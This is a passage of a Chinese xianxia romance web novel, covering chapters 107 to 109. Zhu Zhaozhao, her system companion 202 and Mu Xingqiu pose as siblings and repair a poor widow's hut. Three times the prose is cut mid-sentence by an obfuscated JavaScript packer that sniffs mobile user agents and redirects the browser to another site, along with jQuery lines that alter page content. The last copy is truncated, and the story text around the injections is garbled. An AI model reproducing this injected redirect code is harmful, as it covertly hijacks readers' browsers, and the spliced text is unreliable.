两人约定达成一致时,慕行秋就已经起身去取妖丹。望着他颀长的身影,玉娘神色不自觉柔和下来:“恩公看起来很可靠呢。” 顺着玉娘的视线望过去,祝昭昭嫌弃地撇撇嘴:“是么。” “对啊。” 玉娘显然没注意到祝昭昭的小动作。转过头,她用同样柔和的神情看着祝昭昭:“有这样的哥哥,一定很幸福吧?” 嗯? 哥哥? 祝昭昭先是一愣。 然后在0.1秒内反应过来。 这难道不是天赐的合理假身份吗?! 回过神,祝昭昭大喜,赶在玉娘不解前疯狂点头:“对对对,我们俩就是兄——” “玉娘,你的妖丹。” 突然出现在两人中间,慕行秋将处理干净的妖丹递给玉娘:“小心拿好。” 祝昭昭则见鬼一样瞪着慕行秋。 不是,妖兽离这边至少小一百米,从这里过去,再开妖兽肚子取妖丹,还要打理干净…… 这家伙飞过来的?? 玉娘哪知道那么多。 她感激地接过妖丹:“谢谢恩公。” “不客气。只是玉娘,” 对上玉娘略带疑惑的目光,慕行秋的笑意明明温和,却似乎莫名含着压迫:“我和她,” “不是兄妹。” 107. “她是我友人的妹妹。” 祝昭昭瞳孔地震。 因为过于震惊,她侧看向慕行秋的两只眼睛瞪得可能比铜铃都大上两分。 不是。 这家伙在说什么? ‘不是兄妹’?? 平时精得不得了的完蛋玩意,这会儿脑子竟然瓦特了?? 能不能看看这脑子它瓦特对时候了吗?! 动起来的脚步稳准狠踩在慕行秋脚面,气得脸色发绿的祝昭昭,强笑看着还未反应过来的玉娘。 她轻咳两声,试图最后抢救一波:“不是的玉娘,他……” “我二人确实不是亲兄妹。” 温和却不容置喙的声音‘刚好’截住祝昭昭的话头,慕行秋望着玉娘言笑晏晏:“但她亲兄长却是我挚友。” 玉娘懵然:“挚友……” “没错。” 干脆直接用灵力封了一直在旁边试图插话的祝昭昭的嘴,慕行秋垂眸盯着那枚妖丹:“她亲兄长无辜重病,我本欲独自外出寻药。怎料她偷偷尾随我一路。” “当我发现她时,我二人已经离家很远。” 目光慢条斯理地落在祝昭昭脸上,慕行秋略带挑衅地对上她一双快要喷火的眼睛:“送她回去已来不及,是以我只能带着她一同上路。为了保险起见,一路上我二人不时会以兄妹相称。” “实际却不是。” 慕行秋说完,玉娘恍然大悟般点头:“原来如此。” 祝昭昭气得倒仰。 原来如此个头啊! 玉娘你完全被这家伙骗了! 而且这骗来骗去不是回到原点了吗,为什么非要解释这一遭啊?? 都‘路上不时以兄妹相称’了,是不是亲兄妹很重要吗? 啊?? 脑瓜子被火冲得嗡嗡响,祝昭昭想解释却无法,干脆把幕行秋的脚捻着玩用来泄愤。 踩死你得了! “没错。” 微笑颔首应下玉娘,慕行秋视线一转,望向祝昭昭。 他的语气堪称温柔:“莫要再踩了,很痛。” 正准备加大力气的祝昭昭:“……” 顺着慕行秋的话朝他脚看的玉娘:“……” 感觉封住咽喉的灵力禁制消失,祝昭昭先轻咳一声缓解尴尬的气氛,再望着慕行秋甜甜微笑。 “兄长这是误会我了。” 刻意加重‘兄长’两个字的语气,她声音轻巧:“小妹其实是因为刚刚看见兄长脚面有一只毒虫,又不想打扰你和玉娘姐姐说话。” “所以才出此下策的。” 她说着,脚下丝毫没有移开的意思:“毒虫危险,小妹已经不能及时提醒兄长注意,要是再不踩住它,让它咬伤兄长怎么办?” “小妹会良心不安的。” 玉娘露出‘原来如此’的表情。 慕行秋也轻笑一声:“倒是我错怪你了。” “那么,现在能把你的脚,从我鞋上移开了吗?” 看都不看脚下一眼,祝昭昭笑得更加开心:“当然可以,不过……” “先等小妹,把毒虫踩死。” 咬着牙,一字一句说完。祝昭昭眉眼弯弯望着慕行秋,脚下最后恶狠狠碾了一把。 看着慕行秋明显裂出一丝缝隙的微笑表情,她在心底大笑,终于心满意足地收回脚。 叫你不让我说话。 叫你说我们不是亲兄妹。 这是你应得的! 祝昭昭:神清气爽·jpg “好了。” 抬手朝脚面轻挥一记,慕行秋将恢复干净的鞋面收回衣袍中:“我方才剖妖取丹,虽刻意掩盖过血腥气,但不保证是否会有嗅觉灵敏的妖兽仍旧能感知到。” “所以为了保险起见,我们最好快些离开。” 想来应该是见多了慕行秋描述的场面,玉娘闻言,立刻紧张起来:“恩公说得没错,是玉娘疏忽了。” “我们现在便离开罢。” 最后按照祝昭昭‘可以带去集市卖了换钱’的建议,拆了些妖兽的皮和骨收好,三人很快动身离开。 * 有玉娘的带路,三人几乎没费什么功夫,便找到了通往外界的小道。 “如此说来。” 突然想起什么,兀自走在前方带路的玉娘微微侧头:“玉娘直到现在还不知道恩公们的名字呢。” 正在脑海里习惯性嘱咐202记录路线,祝昭昭闻言回神:“哦,是呢。” “叫我阿昭就好。”祝昭昭望着玉娘微笑。 亦笑着同祝昭昭点头,玉娘目光落在慕行秋身上—— 慕行秋赶在玉娘开口之前:“阿慕。” “这样。”玉娘转回头,念念有词,“阿昭阿慕……” “朝朝暮暮!” 202像发现了什么新大陆:“这合起来不就是朝朝暮暮嘛!” “好有缘哦主人,你们的名字竟然能拼出成语诶!” 它兴奋地在祝昭昭精神空间里大呼小叫:“这也太有意思了,这是不是代表主人你和大反派……” 电光照彻整个精神空间。 一副被恶心到的表情,祝昭昭在满空间电光里,慢条斯理地戴上墨镜:“你很闲是吗?” 被电得只能在地上打滚的202:“还……好……” “还好就是比较闲。” 祝昭昭抬手看指甲:“既然比较闲的话,从今天开始,以后我每出去探一次路,你就跟着我记一次地图。” 缓过来的202:“每一次?” 面无表情的祝昭昭:“每一次。” “好吧,我知道了。” 点点头,202飞到祝昭昭身边:“我倒是无所谓啦,不过主人,你在这地方人生地不熟的,到处去探路真的没问题吗?” “这可不是现代位面。” 闻言毫不客气地嗤声,祝昭昭眼皮都不抬:“请问不探路,我怎么了解这个人生地不熟的地方,遇到危险的时候,我怎么第一时间找地方跑路。” “还现代位面,未来位面也一样好吗?” 202被反驳地不太服气:“那让大反派去探路也是一样的呀,反正你们俩有一个人知道路就行了呗。” “为什么非得是主人你呢?” 这次祝昭昭干脆不说话。 她用一种看傻子的眼神看着202。 虽然她此刻还戴着墨镜,但这玩意儿的效果对202等于没有。 所以更使得祝昭昭的眼神,对它的攻击力拉满。 202顿时急了。 伸出的两只机械手臂一只往后脑勺摸,它另一只手拍上祝昭昭肩膀:“好啦,我怎么会不知道以主人你的脾气,最重要的信息只能掌握在主人你手里呢。” “我只是和主人你开个玩笑嘛。” 机械的‘哈哈’声回荡在精神空间里,祝昭昭双手环胸,就那么静静站在原地。 片刻后,202终于败下阵来:“主人我错了。” “错不错不是重点。” 慢悠悠摘下墨镜,祝昭昭一把将之扔向202:“重点是,我需要提醒你一件事。” 202手忙脚乱地接住:“什么事?” “我需要你收集我走过的所有路线。” 祝昭昭若有所思:“再从这所有的路线里,总结出有用的路线。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280590|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “包括常用路径和必要时的保命小道。” 甩着墨镜玩的机械手臂一僵,202看起来很为难:“主人,这不好吧……” “很麻烦诶。” 闻言一挑眉,祝昭昭像是听见什么奇事:“这事你又不是没干过,至于好像我给你派了什么高难度任务一样吗?” 202眼神游移。 就是因为干过让而且知道有多麻烦,所以才不想干! 它试图进行最后的挣扎:“……主人啊,有没有可能我们只记录你走通的路,就可以达到你想要的效果呢?” 手指摸向下巴,祝昭昭作思考状。 见状立即觉得有戏,202决定再接再厉—— “不行。” 摸着下巴的食指指向202,祝昭昭根本不和它废话:“魔界不比外面,我们必须做好万全准备。” “所以照我说的做。” 知道这句话一出,事情就不再有任何回旋的余地,202最后蔫巴巴地‘哦’了一声。 那模样看得祝昭昭好气又好笑。 于是她拍拍202脑袋,熟练地拿出‘给颗糖’政策:“这次任务顺利结束,你可以随便挑三个新插件安装。” 腰不酸了腿不疼了,202眼放精光:“随便挑?” 祝昭昭眉眼弯弯:“随便挑。” “好诶!” 202乐得蹦起来:“628前两天才和我炫耀柳雨露给它装了两个新插件,哼,等这次任务结束了我也要和它炫耀。我主人给我装得插件比它多!” “多一个!” 无奈地瞧了眼开始自顾自认真庆祝的202,祝昭昭摇摇头,将放在精神空间里的部分注意力收回。 周围景色不知不觉已经变幻,但路上却始终没什么人。她扯了扯身旁慕行秋的衣袖,精神传音:“我们已经走了多久?” 慕行秋闻言,略微思忖:“大概半个时辰。” 半个时辰?! 祝昭昭有些意外。 她原以为玉娘家应该是离森林不远,才会选择走路,否则再不济应该都会有代步工具,不可能徒步前往森林。 可半个时辰? 一个小时还不值得一个代步工具吗? 要知道玉娘并不是修士。 而且她似乎还没有要停下来的意思。 所以他们还要走多久? 意识到这点,祝昭昭心里不免犯起嘀咕。 虽然修士体魄强健,轻易不会疲乏。但出于对尽量节省时间的考虑,她觉得还是有必要去问问玉娘。 于是她小跑到玉娘身旁:“玉娘。” 循声侧头,玉娘声音含笑:“怎么了阿昭?” “我们大概还要多久才到啊?” 祝昭昭指指前方的路:“我听那家伙……阿慕说,我们已经走了约莫半个时辰了。” “我不是嫌远。” 担心玉娘误会,祝昭昭打补丁:“我的意思是如果路途还远,我们可以驭剑过去。” “能尽可能快些还是好,对吧?” 玉娘恍然点头:“阿昭你说得没错。” “不过驭剑就不必啦。” 她说着,抬手指向前方:“因为我家就在那里。” 竟然到了?? 祝昭昭立刻打起精神,顺着玉娘手指的方向望过去—— 尽管早就有心理准备,然而当真的亲眼瞧见房子的模样,祝昭昭还是小小的震惊了一把。 指着不远处的,隐在半人高草丛里,几乎只能瞧见轮廓的草棚子,她努力让自己语气听起来很平静:“这就是……” “这就是玉娘你的家呀。” 108. 阿慕哥哥! “没错。” 玉娘点点头:“这就是我家了。” 仿佛是在印证玉娘的话般,随着她话音落下,前方不远处的草丛里忽然传来一阵窸窸窣窣的声音。 一个小女孩很快从里面窜出来。 并没有注意到边上的祝昭昭,她径直扑进玉娘怀里:“娘,你终于回来啦!” 轻轻抚上小女孩的脑袋,玉娘露出与先前的怯懦完全不同的柔和神情:“嗯,娘回来了。” “不过今天不止娘一个人回来哦。” 拍拍小女孩肩膀示意她从自己怀里起身,玉娘笑眯眯地和她介绍:“这是阿昭姐姐,那是阿慕哥哥。” “他们这段时间会暂时住在我们家。” 玉娘搂住小女孩:“快和哥哥姐姐打个招呼。” 明明被点到名的是小女孩,下意识站直身子的却是祝昭昭。 无他,一切只因眼前的场景,让她幻视小时候被迫叫亲戚,叫不出来就有可能挨大拍背的时光。 祝昭昭:好可怕的童年阴影。 小女孩倒是丝毫没有被她直勾勾看着自己的视线吓到。 圆圆的小鹿眼弯成两道月牙,她望着祝昭昭甜甜开口:“阿昭姐姐好!” 脆生生的清亮声音,惊得祝昭昭回过神:“诶,你也好。” 闻言嘻笑一声,小女孩又转而朝向慕行秋:“阿慕哥哥好!” 慕行秋倒是平静得多。 他微一颔首,算是应下小女孩的招呼。 打完招呼后重新拉住玉娘衣摆,社牛小姑娘像是突然想到什么:“可是娘。” 玉娘‘嗯’了一声:“怎么了?” “我们家只有一间房呀。” 小女孩指指草丛:“而且小小的,连我们和奶奶都在一起都很挤呢。” “阿昭姐姐和阿慕哥哥怎么住呀?” 闻言面露难色,玉娘尝试解释:“没事的,我们一起挤……” “我们会自己修房间的。” 祝昭昭看着小女孩笑:“阿慕……恶,阿慕哥哥很厉害的,他力气很大,而且还会修房子哦!” “真的嘛!” 似乎并没有注意到祝昭昭话里那个不太礼貌的语气词,小女孩眼睛猛地明亮起来:“那阿慕哥哥可不可以也帮我们修一下房子啊?” “我们的房子也有点坏了。” 小女孩说完,玉娘语气立刻严厉起来:“小枝!” 被叫作‘小枝’的小女孩顿时缩瑟了一下:“对,对不起……” “没事没事。” 不止小枝吓一跳,祝昭昭也吓了一跳。 她尝试缓和气氛:“小枝,你叫小枝对吧?” 小枝低着的头轻轻点了一下。 “真好听的名字。” 祝昭昭再接再厉:“但姐姐不知道你的‘枝’是哪个枝,你可以告诉我吗?” 小枝声如蚊蚋:“树枝的枝。” “原来是树枝的枝呀。” 祝昭昭摸摸她脑袋:“当然可以啦小枝。” “阿慕哥哥当然也可以帮你们修房子。” 她边打圆场,边抽空朝慕行秋使眼色:“对吧,阿慕哥哥?” 没听到回答,祝昭昭皱眉扭头,紧接着就瞥见他脸上挂着的,似笑非笑的神色。 那他*什么表情? 僵着笑,祝昭昭一字一句:“阿慕哥哥?” 慕行秋突然别过脸。 片刻过后,他慢悠悠地转回头:“没错。” “举手之劳罢了。” 孩子总是藏不住喜怒哀乐。得到肯定回答,小枝立刻高兴地跳起来:“太好啦!” 松开玉娘的衣袖,小枝先一把握住祝昭昭的手,又拉着她一路小跑到慕行秋跟前,朝慕行秋伸出手。 她笑得眉眼弯弯,圆圆的脸蛋像颗小桃子:“那阿昭姐姐和阿慕哥哥快来看看小枝的家吧!” 往小枝的掌心里轻轻放下一颗饴糖,慕行秋亦对她微笑:“你和阿昭……” 意味深长地望了眼祝昭昭,直到祝昭昭面色逐渐不善,他才不紧不慢地继续:“你和阿昭姐姐在前面走,我会跟在你们后面。” 语气在念出‘阿昭姐姐’四个字时明显迥异,202听着慕行秋说话,隐约意识到什么。 它作思考状:“主人,大反派是不是在报复你刚才叫他名字的时候‘恶’那一下啊?” “他有什么好报复的!” 正一脑门子火没处发,祝昭昭没什么好气:“阿慕哥哥这四个字光听都让人受不了。” “更何况是直接说出来?!” 显然是又想起刚才自己怎么叫的慕行秋,她猛搓胳膊:“他就不能起个正常人能叫出口的名字吗?” 他的假名正常人叫不出,主人你的假名和他有什么差别,就叫得出了? 202:看破不说破·jpg “好……” 想来应该很少见过饴糖这类东西,从慕行秋将之放在掌心时,小枝的全部注意力就都转移到了上面。 见状哭笑不得,从精神空间出来的祝昭昭干脆抱起她往草丛方向走。 很快走到草丛前,空着的手掀开厚厚草叶,一座相当残破的小屋出现在祝昭昭眼前。 没错,就是‘残破’。 目光从盖了一大块干草的屋顶上收回,祝昭昭努力试图自己的问题问得比较温和:“……玉娘,这块干草……是这两天才盖上去的吧?” “不是。” 玉娘摇摇头,神情有些无奈:“自从屋顶被大风大雨掀飞一块后,我们就一直用干草盖在上面了。” 这屋子居然还能抗大风大雨?! 祝昭昭暗自心惊完,紧接着又注意到角落里一个脑袋那么大的洞:“那这个洞……” 玉娘:“老鼠钻的。” “窗子上这断掉的木头……” “时间太久自己烂掉然后断了。” “院子里满地的杂草……” “我母亲身体有恙不能下床,小枝又还小,也拔不了多少……” 玉娘眼底一片黯然:“我为了生计更是无法常常待在家,所以只能放任这些杂草越长越多。” 闻言抿了抿唇,祝昭昭捏捏怀里同样低下脑袋的小枝的脸。 再从储物袋里取出一瓶子糖果递给小枝,她很自然地转移了话题:“那稍后我和阿慕该去哪找修房子的木材呢?” “这个啊。” 望着祝昭昭神色如常的脸,原本还有些紧张的玉娘不知不觉放松下来:“我们屋子后面有一片很大的树林,恩公你们可以去那边收集木材。” “那太好了。” 祝昭昭双手‘啪’一声合上:“我和阿慕这就过去看看。” 玉娘点点头,放好糖瓶子的小枝也从屋子里跑出来:“小枝认识路,小枝和哥哥姐姐们一起去!” * 小枝最后还是没和两人一起去树林。 将小枝以‘藏好糖瓶子,不然小心糖果被老鼠吃掉’的理由劝回家,祝昭昭和慕行秋向玉娘询问了大致路线后,便一同朝后山树林进发。 在202紧急搜索出的‘适合修房子的木材挑选技巧大全’的指引下,祝昭昭边慢悠悠搜集木材,边在收集间隙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280591|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随意扫了眼树林里的另一个活人。 继而注意到他脚边,也已经很快堆积起了一堆木材。 祝昭昭再去细看那堆木材—— “你……” 她声音不大,却架不住树林子里实在太过安静。 是以正操纵灵力拖来木材的慕行秋听到动静,很快抬眸瞧她:“怎么。” 没怎么。 但你这反应是不是有点快过头了。 祝昭昭死鱼眼。 然而话已经出口,加上幕行秋一副‘没事为什么叫我你到底有什么事’的架势,祝昭昭最后只能在心底长叹一声。 再相当敷衍地开口:“竟然知道如何挑选修房子用的木材?” “为何不知。” 慕行秋目光也落在那堆木材上:“倒是你,散修竟然也有修房子的需要么?” “你常常远赴荒郊野外寻找修炼宝地?” 祝昭昭一听这话就不服气。 你一个身兼数职,修炼条件良好的剑宗弟子都会挑选木材,她身为散修,怎么就不能会选木材了?! 腹诽之理直气壮,完全忘了自己是看着那本木材挑选大全,外加202倾情指导下,才选出的木材。 她干笑两声,不答反问:“呵呵,比起我,你作为剑宗大师兄兼掌刑司司主,这么忙都知道怎么辨认修房子用的木材……” “你也有修房子的需要?” 祝昭昭本已经做好慕行秋反唇相讥的准备。 可出乎意料的是,他竟然神色平静地点了点头:“嗯。” 祝昭昭:…… ??? 你嗯什么? 将祝昭昭呆滞的表情看在眼里,慕行秋一阵好笑。 再次操纵灵力拖来一根木材,他语气随意:“雾鸣山上我的住所,是我自己搭建。” 祝昭昭再次:…… 自己搭建?? 动手能力这么强的吗?? 等等这不是重点,重点是—— 祝昭昭呆呆看着慕行秋:“你……” 慕行秋微笑着等她下文。 “你为什么……” 慕行秋脸上笑意更深。 “你为什么把屋子修在那么偏僻的地方?” 上下打量他一眼,祝昭昭抬手摸上下巴:“你是不是有什么不好叫人知道的爱好,比如……” 亮起的灵力封住她还欲再说的嘴,慕行秋将拖来的木材码好。 只当没瞧见祝昭昭几乎要喷火的眼睛,他扶额,难得毫不掩饰地露出一种无可奈何的表情:“有时候,我真怀疑我在你心里究竟是什么形象。” 什么形象? 大搞一言堂的暴君形象! 示意慕行秋撤回灵力无果,祝昭昭翻了个白眼,转身继续收集木材,不再搭理他。 哪怕片刻后他以‘木材已经收集够了’为由喊停,也充耳不闻。 看着少女始终背对着自己的身影,慕行秋生平第一次体会到什么叫‘自作自受’。 忽视心底陌生的情绪,他长叹口气:“无故用灵力限制你是我的错。” “对不起。” 202在精神空间里叫得像目睹了什么世界毁灭一样的抽象场景,祝昭昭终于停下手中动作。 她扭头,叉腰看着慕行秋:“那怎么办。” 202叫得更大声了。 “怎么办?” 真的认真思考了片刻,慕行秋亦回望她眼睛。 “那便罚我……” 他声音不自觉染上笑:“无条件听你话一回。” “如何?” 109. “主人你对着大反派发什么呆啊?” 竟然说‘可以吗’…… 饶是向来对眼前这尊佛没什么好脸色的祝昭昭听到这话,也难得不好意思再发作。 毕竟人家都把话说到这份上了不是? 于是掩唇轻咳两声,祝昭昭小声强调:“……记住你说的话。” 话落她便弹射起身,转移找木材的阵地去了。 剩下慕行秋看着转瞬与自己拉开距离的少女的背影,一时还有些懵。 片刻终于反应过来,他挑眉,好气又好笑。 他又不是什么洪水猛兽。 跑什么? * 不多时,木材收集来到尾声。 姿态懒散地躺在木材堆上,祝昭昭望着身旁缓慢移动的景色,一手枕在脑后,一手百无聊赖地揪叶子玩,时不时还哼几句不成调的小曲,实在好不惬意。 202都看不下去了:“主人,你这样不好吧?” 闻言眼皮都懒得抬一下,祝昭昭语气随意:“我这样不好的理由是?” 怎么好意思问出口的!! 202瞳孔地震:“主人你居然还好意思问?!” “你怎么能自己躺在木材堆上,让大反派自己拉着这一大堆木材回去啊??” 对202的问话表示嗤之以鼻,祝昭昭继续哼小曲:“我为什么不好意思问,不就是让他自己拉木材回去吗?” “可大反派不止拉木材啊。” 202强调:“木材上还坐着一个你。” “还坐着一个你啊!!” 顿时咂摸出不对劲,祝昭昭眼神犀利起来:“你什么意思?” “你的意思是我底下这堆木材不是重点,” “我才是重点??” 她脸阴了半片:“我比木材还重?你是这意思?” 言外之意就这么轻易被祝昭昭点出来,202汗流浃背。 看着祝昭昭‘敢说我不爱听的话必定要你好看’的眼神,它坚决不承认:“怎,怎么会呢?” “我的意思是,是……” 磕磕巴巴半天,它终于找到自认完美的说辞:“是主人你这样什么活都不干,一会儿引发大反派不满,回头偷偷给你使小绊子怎么办??” “什么叫我什么活都不干?” 祝昭昭相当不满:“现在拉木材这辆车是我提供的,你没看见啊??” “我提供车装木材,”她翘起二郎腿,“他出力把这些木材拉回去。” “这不是非常合理的搭配吗?” 很合理吗? 202刚想说点什么,车头附近忽然传来慢悠悠的声音—— “把腿放下如何?” 是手里牵着一根绳,闲散如散步的慕行秋:“路途颠簸,那样的姿势容易躺不稳。” “不稳吗?” 腿已经翘成等边三角的祝昭昭没什么所谓,甚至准备换一只腿翘:“可是我觉得很——” 下一秒,车子突然重重颠了一下。 正值换腿途中的祝昭昭一个不稳,差点直接从车上滚下去。 好不容易在最后一刻保持住平衡,她怒而一个鲤鱼打挺翻起身,‘刚好’对上慕行秋回头看过来的视线。 然后就看见慕行秋朝自己笑得眉眼弯弯:“路途颠簸,哪怕躺着,亦要小心。” “我所言是否非虚?” 祝昭昭气得瞳孔都放大了。 灵力启动的车,谈什么稳不稳? 不是故意人为,它上山下海都可以如履平地。 这会儿山石土路就能让它颠得跟过山车一样了?! 这家伙竟然还敢笑! 这他*是赤裸裸的挑衅!! 深呼吸调整好情绪,祝昭昭也硬扯出个微笑:“师兄说得是。” 没想到祝昭昭这次竟然这么听话,慕行秋挑眉。 接着就听木材堆上的少女再道—— “既然躺着不安全,那我坐着……” “一定安全。” 最后四个字多了些咬牙切齿的意味,祝昭昭驱使灵力附上双腿,再膝盖微曲—— ‘轰’一声响起,木材腾空又砸回去,她人也坐在了车首的位置。 拍拍裙摆上不存在的灰尘,祝昭昭不紧不慢地抬头和慕行秋对视。 再一脸无辜地歪头:“怎么了,为什么不继续走?” 继续走? 平静的目光缓缓从少女的脸,移到已经陷进地面一半的车轮。慕行秋沉默着,意味不明地弯起唇角。 将他的反应收进眼底,祝昭昭表面一无所察,实则心里早就笑开了花。 叫你没事找事。 活该! * 一炷香后,慕行秋拉着一堆木材和一个祝昭昭停在了玉娘屋子后面。 被玉娘牵着手的小枝抬头望着高高的木材堆:“哇,阿昭姐姐阿慕哥哥,你们捡了好多木头哦。” “还好啦。” 一跃跳下车,祝昭昭指挥慕行秋卸木头:“我们先帮小枝你们修屋子吧。” 小枝的头还没点下来,玉娘已经先她一步拒绝:“这怎么行?” “我们的屋子现在还能住,不着急修。你们先把房子建好才是最重要的。” 比起着急的玉娘,祝昭昭倒是要无所谓得多:“没事的,修屋子不比补破漏,就算现在开始也不一定能修好。” “倒不如先帮你们补好屋子,这样即使今天屋子修不好,我们也有地方暂时休息。” 她轻抬下巴:“对吧阿慕?” 正在驱使灵力卸木材的慕行秋抽空抬头:“阿昭说得是。” 一句‘阿昭’听得祝昭昭瞬间起一身鸡皮疙瘩,她‘呵呵’两声看向玉娘:“就这样吧,我们现在就帮你们修屋子。” 不给玉娘回绝的机会,祝昭昭牵起玉娘的手,同时示意小枝带自己去把屋子里的阿婆暂时请出来。 将三人暂时安置在镇上的客栈后,祝昭昭独自折返回来。 正坐在桌旁喝茶的慕行秋循声抬眸:“回来了。” “嗯。” 祝昭昭挽起鬓角碎发:“这里离镇上只有一刻钟的路,还挺近。” 慕行秋放下茶杯:“是么。” “对啊。”茶杯与木桌碰出一声响,祝昭昭这才注意到什么,“你……” “这套木桌椅是你做的?” 指节轻扣桌子,慕行秋不答反问:“不可以吗?” 倒不是不可以…… 几步走到屋前,祝昭昭环顾四周—— 她不可置信:“你竟然在一刻钟内就已经把屋子修好了??” “还顺便造了套木桌椅。”202在精神空间补充。 祝昭昭:…… 这简直是危言耸听·jpg 就那么托腮瞧着祝昭昭惊讶的模样,慕行秋但笑不语。 被他那看孩子一样的眼神看得不爽,祝昭昭趁他不注意偷偷翻了个白眼。 并转移话题:“既然玉娘她们的屋子修好了……” “就该看看怎么修我们的屋子了。” 她摸着下巴:“屋子修在哪里比较好呢?” 没人回话。 以为自己声音太小慕行秋没听到,祝昭昭看过去,发现他正安静地坐在那出神,不知道在想什么。 于是她挑眉:“慕行秋?” 桌旁的人这才如梦初醒:“怎么。” 祝昭昭张嘴:“我是说……” 202突然从旁插话:“主人,大反派好像是从听到你说‘我们的屋子’那里开始发呆的。” 见鬼一样瞪大眼,祝昭昭瞬间把嘴闭得跟被502粘上了似的。 什么鬼啊?! “说什么?”全程目睹她表情变化的慕行秋挑眉。 把头摇得跟拨浪鼓似的,祝昭昭一言不发地走到木材堆旁开始选木材。 * 两人最后把房屋的修建位置,选在离玉娘家稍远的后方。 似乎是着急回来做饭,大约一个时辰多一点的时间,玉娘便带着老人与小枝回了家。 在瞧见焕然一新的屋子的那刻,她手里蔬果一掉,条件反射似地,就要朝祝昭昭和慕行秋下跪。 好在祝昭昭早已预料到她的反应,提前拦住了她。最后好说歹说,才把她劝回屋里做饭。 满脸疲色地回到房屋选址地,祝昭昭死鱼眼瞧着已经被慕行秋分门别类好的木材。 “回来了。” 目光从刚挖好的地基处移到祝昭昭身上,慕行秋问:“脸色怎么这样差。” “是好不容易才劝下玉娘别送太多东西给我们么?” 闻言扯起唇角,祝昭昭举起手里拎着的一小把青菜:“不收这个,玉娘不肯放我走。” 慕行秋轻笑。 “主要还哄了小枝半天,不然她一直吵着要跟着我。” 随手把青菜挂在矮木从里,祝昭昭头痛地捏捏眉心:“好歹最后是哄睡着了,我才趁机跑出来。” “是么。” 微微颔首,慕行秋抬手招来几根木材:“确实不该让她跟来,否则稍后磕着碰着,会很危险。” ‘嗯’了一声权当回答,祝昭昭走到木材堆前:“不说这个了,有什么我能帮忙的地方吗?” “暂时没有。” 再次招来几根木材,慕行秋利落打好地基:“你先在那坐上片刻,不要离开太远。” “稍后有需要帮忙的地方,我会告诉你。” 闻言耸耸肩,祝昭昭从善如流地找了个地方坐下。 * 要说慕行秋不愧是自己修过房子的人,哪怕202有房屋构造图,祝昭昭自己也是有动手能力的人。 但她同样不得不承认,如果这会儿是自己亲自上阵修房子,不一定能做到像他那么熟练。 百无聊赖地托腮看着已经初具雏形的屋子,祝昭昭总觉得此刻的慕行秋似乎有些陌生。 陌生在哪呢? 她有些散漫的目光从慕行秋正安静站立的身影上,缓缓流连到那垂下的眼帘。 阳光落在长睫投下的阴影,在白皙的脸上分外鲜明;骨节分明的修长手指持握木材时稳当,手臂因用力而微微鼓起青筋…… “窗子想要什么样的雕花?” 平静的问询声响起,祝昭昭猛一回神,正对上慕行秋有些疑惑的眼神:“为何那样瞧着我。” “……” 脑袋一片空白,祝昭昭张张嘴,在大丢人的最后一刻脱口而出:“莲花。” “我是说,”她从未有哪刻,如现在此刻一样感谢自己的临场反应力:“窗子上的雕花,就选莲花吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280592|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见祝昭昭神色已经恢复如常,慕行秋便没再多问。 “好。” 话落掌心亮起银光,他开始专心在窗子位置上雕刻。 祝昭昭狠狠松了口气。 “主人,什么情况啊。” 绕着她‘啧啧’两声,202煞有介事地摇摇头:“看着人家发呆还被人家抓包。” “要不是最后反应快,主人你今天丢脸可就丢大咯。” 脸上一时有些挂不住,祝昭昭没什么好气地:“滚一边去。” 202嘻笑着,绕着她飞得更起劲。 默了默,祝昭昭复又开口。 像是在为自己刚才的失态开脱:“主要是因为没见过他那个样子。” 202立刻:“什么样子?” 认真忙于寻常琐事的样子。 祝昭昭抿唇。 诚然,早在刚进雾鸣山的时候,她就从白月书那里听到过关于慕行秋的另一面。 但作为一个甚至不相信眼见为实的人,祝昭昭从来只把这些关于他的评价,当作人与人之间的客套说辞。 毕竟她还没有强大到连穿心之痛,都可以随便遗忘。 “主人……主人?” 神游的思绪被202疑惑的声音叫回,祝昭昭和它大眼瞪小眼。 她尽量保持平静:“干什么。” “你还没和我说呢。” 202很不满:“你到底没见过大反派什么样子啊?” 眼看它越凑越近,忍无可忍的祝昭昭伸出手指头戳它,一字一句:“你管不着。” 一人一机拌嘴的当口,正雕花的慕行秋突然示意祝昭昭过去。 “来了来了。” 膝盖一拍站起身,她背着手,小碎步逛到慕行秋身旁:“有何贵干呀?” 手不停,慕行秋问她:“会干点什么?” “否则今晚之前,我们可能没办法住进去。” 住不进就住不进呗。 本来也没指望今天就能住进去啊。 两句腹诽完,祝昭昭把最后一句‘不雕花可能进度更快’一起咽回肚里:“我可以……” “我可以……” 说着四处张望,她看着几乎已经可以直接住进去的屋子:“我觉得我可以直接住进来。” 像是听见什么笑话,慕行秋轻‘呵’一声:“算了。” 